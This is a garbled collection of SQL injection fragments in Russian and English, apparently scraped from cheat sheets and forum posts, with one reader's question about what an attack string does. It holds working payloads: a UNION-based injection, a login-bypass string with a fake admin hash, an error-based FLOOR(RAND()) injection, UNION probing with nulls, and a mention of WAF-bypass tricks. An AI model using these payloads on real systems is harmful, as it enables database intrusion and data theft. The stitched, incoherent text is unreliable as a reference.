999999.9+union+all+select+%27R3DM0V3_hvj_injection',null
SELECT id, login, pass, priv FROM user WEHRE name = '*'. login = ' UNION SELECT 1, 'admin', md5('1234'), 1 # pass = 1234. Проблема выше (Muracha'а) решается простым выводом данных.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))) +.
Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3. Bypassing WAF: SQL Injection - Normalization Method Example Number (1) of a vulnerability in the function of request Normalization. •
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What I would like to know why "999999.9", what is "0x39313335313435363237322e39". When this attack works what information would the hackers have or edits would they have done to the database. Last could this attack run over and over again bring down/crash the server?
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.
';SELECT null,null,null,null,null,null,null,null,null,null, null,null,null,null работает вне зависимости от числа полей в исходном.
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